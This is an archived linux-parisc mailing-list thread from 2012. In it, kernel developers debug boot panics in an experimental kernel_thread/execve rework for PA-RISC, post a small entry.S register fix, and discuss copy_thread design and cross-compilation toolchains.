List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4605
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4605>

On Fri, 2012-10-05 at 14:44 +0100, James Bottomley wrote:
> On Fri, 2012-10-05 at 12:07 +0100, James Bottomley wrote:
> > I tried out the code at
> > 
> > git://git.kernel.org/pub/scm/linux/kernel/git/viro/signal.git
> > experimental-kernel_thread
> > 
> > and it gives me this panic on boot.
> 
> OK, found the fix:  the idle thread is a kernel thread, but it doesn't
> come through kernel_thread().  The fix is to check for it (fortunately
> it has the signal usp == 0).
> 
> I'm now getting as freeing the init memory, which then hangs, so I
> suspect some type of execve failure trying to start the initrd... I'm
> debugging.

And the fix for this one is below: ret_from_kernel_execve has pt_regs in
%r26 ... it needs to be in %r16 for intr_return, so we just copy them
over.

With this, I can bring up the kernel all the way to a login prompt with
no apparent ill effects.

James

---

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 272c7a0..dd137fc 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -744,7 +744,8 @@ ENDPROC(ret_from_kernel_thread)
 ENTRY(ret_from_kernel_execve)
 	mfctl   %cr30, %r1
 	ldo	THREAD_SZ_ALGN(%r1), %r30
-	b,n	intr_return    /* forward */
+	b	intr_return    /* forward */
+	copy	%r26,%r16      /* pt_regs into r16 */
 ENDPROC(ret_from_kernel_execve)
 
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Fri, 5 Oct 2012 15:48:19 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20121005144819.GO23473@ZenIV.linux.org.uk>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
 <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com>
 <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com>
 <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1349448505 5720 80.91.229.3 (5 Oct 2012 14:48:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Oct 2012 14:48:25 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 16:48:31 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TK9CV-00006a-6X
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 16:48:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755158Ab2JEOsV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Oct 2012 10:48:21 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:42252 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751201Ab2JEOsV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Oct 2012 10:48:21 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1TK9CN-0006KE-UU; Fri, 05 Oct 2012 14:48:20 +0000
Content-Disposition: inline
In-Reply-To: <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4606
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4606>

On Fri, Oct 05, 2012 at 02:44:24PM +0100, James Bottomley wrote:
> On Fri, 2012-10-05 at 12:07 +0100, James Bottomley wrote:
> > I tried out the code at
> > 
> > git://git.kernel.org/pub/scm/linux/kernel/git/viro/signal.git
> > experimental-kernel_thread
> > 
> > and it gives me this panic on boot.
> 
> OK, found the fix:  the idle thread is a kernel thread, but it doesn't
> come through kernel_thread().  The fix is to check for it (fortunately
> it has the signal usp == 0).

Um...  I see, but I really wonder if that's the right fix.  FWIW, sparc
will have the same problem...  Hell knows.  OTOH, it's a nice way to
get of implicit interplay between copy_thread() and idle_regs() - note
that SMP architectures doing default idle_regs() need to be damn careful
about what they do in their "is that kernel thread" logics; all-zeros
pt_regs might give varying results on user_mode(regs) tests, etc.
Might be better to go for
	if (p->flags & PF_KTHREAD) {
		if (!usp) {
			we are starting an idle thread
		} else {
			we are setting things up for kernel_thread()
		}
	} else {
		we are forking
	}
kind of logics, looking at regs only in the last case.  And to hell with
(separate and overridable) idle_regs() once everything goes that way...
 
> I'm now getting as freeing the init memory, which then hangs, so I
> suspect some type of execve failure trying to start the initrd... I'm
> debugging.

What are you using for toolchain, BTW?  With gcc 4.3 / binutils 2.20
(cross-builds) I'm getting panics from mainline kernel on parisc32 all
way back to 2.6.28...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Fri, 05 Oct 2012 15:55:36 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <1349448936.3638.64.camel@dabdike.int.hansenpartnership.com>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
	 <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com>
	 <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com>
	 <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com>
	 <20121005144819.GO23473@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349448946 9943 80.91.229.3 (5 Oct 2012 14:55:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Oct 2012 14:55:46 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 16:55:52 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TK9Jb-0005wy-BE
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 16:55:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753600Ab2JEOzk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Oct 2012 10:55:40 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51409 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753216Ab2JEOzk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Oct 2012 10:55:40 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B2AFD8EE0E6;
	Fri,  5 Oct 2012 07:55:39 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id RnZZDX0oGPWK; Fri,  5 Oct 2012 07:55:39 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id CC20B8EE0CE;
	Fri,  5 Oct 2012 07:55:38 -0700 (PDT)
In-Reply-To: <20121005144819.GO23473@ZenIV.linux.org.uk>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4607
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4607>

On Fri, 2012-10-05 at 15:48 +0100, Al Viro wrote:
> On Fri, Oct 05, 2012 at 02:44:24PM +0100, James Bottomley wrote:
> > On Fri, 2012-10-05 at 12:07 +0100, James Bottomley wrote:
> > > I tried out the code at
> > > 
> > > git://git.kernel.org/pub/scm/linux/kernel/git/viro/signal.git
> > > experimental-kernel_thread
> > > 
> > > and it gives me this panic on boot.
> > 
> > OK, found the fix:  the idle thread is a kernel thread, but it doesn't
> > come through kernel_thread().  The fix is to check for it (fortunately
> > it has the signal usp == 0).
> 
> Um...  I see, but I really wonder if that's the right fix.  FWIW, sparc
> will have the same problem...  Hell knows.  OTOH, it's a nice way to
> get of implicit interplay between copy_thread() and idle_regs() - note
> that SMP architectures doing default idle_regs() need to be damn careful
> about what they do in their "is that kernel thread" logics; all-zeros
> pt_regs might give varying results on user_mode(regs) tests, etc.
> Might be better to go for
> 	if (p->flags & PF_KTHREAD) {
> 		if (!usp) {
> 			we are starting an idle thread
> 		} else {
> 			we are setting things up for kernel_thread()
> 		}
> 	} else {
> 		we are forking
> 	}
> kind of logics, looking at regs only in the last case.  And to hell with
> (separate and overridable) idle_regs() once everything goes that way...

But there's not a lot of point.  forking an idle thread actually doesn't
care about any of the register execution setup because it never really
uses it to execute.  That's why it was safe for us to use the user
thread setup ... I suppose the interior of the kernel thread case could
be conditioned on if (usp).


> > I'm now getting as freeing the init memory, which then hangs, so I
> > suspect some type of execve failure trying to start the initrd... I'm
> > debugging.
> 
> What are you using for toolchain, BTW?  With gcc 4.3 / binutils 2.20
> (cross-builds) I'm getting panics from mainline kernel on parisc32 all
> way back to 2.6.28...

My toolchain is

jejb@ion> gcc -v
Using built-in specs.
Target: hppa-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Debian 4.4.5-8'
--with-bugurl=file:///usr/share/doc/gcc-4.4/README.Bugs
--enable-languages=c,c++,fortran,objc,obj-c++ --prefix=/usr
--program-suffix=-4.4 --enable-shared --enable-multiarch
--enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib
--without-included-gettext --enable-threads=posix
--with-gxx-include-dir=/usr/include/c++/4.4 --libdir=/usr/lib
--enable-nls --enable-clocale=gnu --enable-libstdcxx-debug
--disable-libssp --enable-objc-gc --disable-libstdcxx-pch
--enable-checking=release --build=hppa-linux-gnu --host=hppa-linux-gnu
--target=hppa-linux-gnu
Thread model: posix
gcc version 4.4.5 (Debian 4.4.5-8) 


It's the one that was in debian testing before parisc got dumped

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Fri, 5 Oct 2012 20:21:33 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20121005192133.GA2616@ZenIV.linux.org.uk>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
 <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com>
 <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com>
 <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com>
 <20121005144819.GO23473@ZenIV.linux.org.uk>
 <1349448936.3638.64.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1349464901 27901 80.91.229.3 (5 Oct 2012 19:21:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Oct 2012 19:21:41 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 21:21:43 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TKDSw-000283-R0
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 21:21:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751683Ab2JETVg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Oct 2012 15:21:36 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:46168 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750988Ab2JETVg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Oct 2012 15:21:36 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1TKDSn-0001hQ-B4; Fri, 05 Oct 2012 19:21:33 +0000
Content-Disposition: inline
In-Reply-To: <1349448936.3638.64.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4608
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4608>

On Fri, Oct 05, 2012 at 03:55:36PM +0100, James Bottomley wrote:

> But there's not a lot of point.  forking an idle thread actually doesn't
> care about any of the register execution setup because it never really
> uses it to execute.  That's why it was safe for us to use the user
> thread setup ... I suppose the interior of the kernel thread case could
> be conditioned on if (usp).

FWIW, I'm digging through the fork_idle() interplay with copy_thread()
right now and the more I'm looking the less I like having called
copy_thread() at all on that path.  Note that copy_process() can trivially
tell it from the normal (do_fork()) caller, just by checking if pid
is non-NULL.  And it has to check that anyway when it decides to generate
the pid for child...

Hell knows; I wonder how much of copy_thread() work is needed in that case...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Fri, 5 Oct 2012 18:54:02 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <BLU0-SMTP36BD50597936314A689A99978B0@phx.gbl>
References: <20121004045150.GH23473@ZenIV.linux.org.uk> <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com> <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com> <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com> <20121005144819.GO23473@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349477662 3141 80.91.229.3 (5 Oct 2012 22:54:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Oct 2012 22:54:22 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@zeniv.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 06 00:54:28 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TKGmq-00008A-0a
	for glpp-linux-parisc@plane.gmane.org; Sat, 06 Oct 2012 00:54:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751278Ab2JEWyW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Oct 2012 18:54:22 -0400
Original-Received: from blu0-omc4-s1.blu0.hotmail.com ([65.55.111.140]:1219 "EHLO
	blu0-omc4-s1.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750753Ab2JEWyV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Oct 2012 18:54:21 -0400
Original-Received: from BLU0-SMTP36 ([65.55.111.137]) by blu0-omc4-s1.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 5 Oct 2012 15:54:20 -0700
X-Originating-IP: [69.158.129.29]
X-EIP: [VSWDv+F/fV5jCLQCecuZ8irbCBY9sP3i]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.29]) by BLU0-SMTP36.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 5 Oct 2012 15:54:19 -0700
In-Reply-To: <20121005144819.GO23473@ZenIV.linux.org.uk>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 05 Oct 2012 22:54:19.0210 (UTC) FILETIME=[5A56EAA0:01CDA34C]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4609
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4609>

On 5-Oct-12, at 10:48 AM, Al Viro wrote:

> What are you using for toolchain, BTW?  With gcc 4.3 / binutils 2.20
> (cross-builds) I'm getting panics from mainline kernel on parisc32 all
> way back to 2.6.28...


Current debian unstable tools are available in shirka.esiee.fr:/home/ 
dave/archives
and shirka.esiee.fr:/home/dave/archives-new.  It's pretty straight  
forward to update
binutils, gcc, libc, etc.

gcc 4.4, 4.5, 4.6 and 4.7 are available.  In particular, 4.6 and 4.7  
have significant
bug fixes.

James seems to have an account on shirka.

I don't have any place to distribute the debs that are on shirka, or  
the time to remove
obsolete builds.  Any volunteers?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Sat, 6 Oct 2012 00:04:41 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20121005230441.GB2616@ZenIV.linux.org.uk>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
 <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com>
 <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com>
 <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com>
 <20121005144819.GO23473@ZenIV.linux.org.uk>
 <1349448936.3638.64.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1349478287 7169 80.91.229.3 (5 Oct 2012 23:04:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Oct 2012 23:04:47 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 06 01:04:53 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TKGwt-00062G-3y
	for glpp-linux-parisc@plane.gmane.org; Sat, 06 Oct 2012 01:04:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752484Ab2JEXEp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Oct 2012 19:04:45 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:47095 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752124Ab2JEXEo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Oct 2012 19:04:44 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1TKGwj-0005OZ-Jj; Fri, 05 Oct 2012 23:04:41 +0000
Content-Disposition: inline
In-Reply-To: <1349448936.3638.64.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4610
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4610>

On Fri, Oct 05, 2012 at 03:55:36PM +0100, James Bottomley wrote:
> On Fri, 2012-10-05 at 15:48 +0100, Al Viro wrote:
> > On Fri, Oct 05, 2012 at 02:44:24PM +0100, James Bottomley wrote:
> > > On Fri, 2012-10-05 at 12:07 +0100, James Bottomley wrote:
> > > > I tried out the code at
> > > > 
> > > > git://git.kernel.org/pub/scm/linux/kernel/git/viro/signal.git
> > > > experimental-kernel_thread
> > > > 
> > > > and it gives me this panic on boot.
> > > 
> > > OK, found the fix:  the idle thread is a kernel thread, but it doesn't
> > > come through kernel_thread().  The fix is to check for it (fortunately
> > > it has the signal usp == 0).
> > 
> > Um...  I see, but I really wonder if that's the right fix.  FWIW, sparc
> > will have the same problem...  Hell knows.  OTOH, it's a nice way to
> > get of implicit interplay between copy_thread() and idle_regs() - note
> > that SMP architectures doing default idle_regs() need to be damn careful
> > about what they do in their "is that kernel thread" logics; all-zeros
> > pt_regs might give varying results on user_mode(regs) tests, etc.
> > Might be better to go for
> > 	if (p->flags & PF_KTHREAD) {
> > 		if (!usp) {
> > 			we are starting an idle thread
> > 		} else {
> > 			we are setting things up for kernel_thread()
> > 		}
> > 	} else {
> > 		we are forking
> > 	}
> > kind of logics, looking at regs only in the last case.  And to hell with
> > (separate and overridable) idle_regs() once everything goes that way...
> 
> But there's not a lot of point.  forking an idle thread actually doesn't
> care about any of the register execution setup because it never really
> uses it to execute.  That's why it was safe for us to use the user
> thread setup ... I suppose the interior of the kernel thread case could
> be conditioned on if (usp).

BTW, speaking of parisc copy_thread()...  Why the hell do we bother
with *cregs = *pregs in userland case?  It's a part of task_struct,
after all, and we have copied that wholesale in arch_dup_task_struct().

Another thing: why do we bother with
        STREG   %r30,PT_GR21(%r1)
in fork wrapper?  We bloody well know what the offset will be, after all -
right in the beginning of that sucker we'd done
        LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30), %r1
so we rely on %r30 having been (unsigned long)current_thread_info() + 
THREAD_SZ_ALGN + FRAME_SIZE.  Then we add FRAME_SIZE again.  IOW, the
offset is a known constant.  Hell, in child_return you rely on its
value...   While we are at it, I'm not sure you need to go through
wrapper_exit on the way out in parent - saving cr27 can be done via
e.g. r28 instead of r3, at which point you can simply branch to
sys_clone() with no work left for wrapper_exit.  *Child* obviously
needs to restore these registers, so let it do that in child_return,
but why bother in parent?  After all, we are talking about the callee-saved
registers, so sys_clone() is going to revert whatever changes it makes
to them...

BTW, TIF_SYSCALL_TRACE and singlestepping are turned off in child, so I don't
see any need for child_return to know where the parent had come from - it
won't have anything to do in tracesys_exit anyway.

I've folded your fixes and pushed the result; I've added (again, completely
untested) optimizations along the lines of the above on top of those, as
a separate commit.  Comments?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Sat, 6 Oct 2012 00:32:52 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20121005233252.GD2616@ZenIV.linux.org.uk>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
 <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com>
 <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com>
 <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com>
 <20121005144819.GO23473@ZenIV.linux.org.uk>
 <BLU0-SMTP36BD50597936314A689A99978B0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1349479981 19658 80.91.229.3 (5 Oct 2012 23:33:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Oct 2012 23:33:01 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 06 01:33:06 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TKHOA-0003MK-A8
	for glpp-linux-parisc@plane.gmane.org; Sat, 06 Oct 2012 01:33:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751341Ab2JEXc4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Oct 2012 19:32:56 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:47616 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750761Ab2JEXcz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Oct 2012 19:32:55 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1TKHO0-0005u8-7L; Fri, 05 Oct 2012 23:32:52 +0000
Content-Disposition: inline
In-Reply-To: <BLU0-SMTP36BD50597936314A689A99978B0@phx.gbl>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4611
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4611>

On Fri, Oct 05, 2012 at 06:54:02PM -0400, John David Anglin wrote:
> On 5-Oct-12, at 10:48 AM, Al Viro wrote:
> 
> >What are you using for toolchain, BTW?  With gcc 4.3 / binutils 2.20
> >(cross-builds) I'm getting panics from mainline kernel on parisc32 all
> >way back to 2.6.28...
> 
> 
> Current debian unstable tools are available in
> shirka.esiee.fr:/home/dave/archives
> and shirka.esiee.fr:/home/dave/archives-new.  It's pretty straight
> forward to update
> binutils, gcc, libc, etc.
> 
> gcc 4.4, 4.5, 4.6 and 4.7 are available.  In particular, 4.6 and 4.7
> have significant
> bug fixes.
> 
> James seems to have an account on shirka.
> 
> I don't have any place to distribute the debs that are on shirka, or
> the time to remove
> obsolete builds.  Any volunteers?

Hmm...  debian-ports would be a natural place, but TBH I'd very much prefer
to deal with cross-builds - doing kernel builds on a 100MHz 7100LC with
96M of RAM is really not fun...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
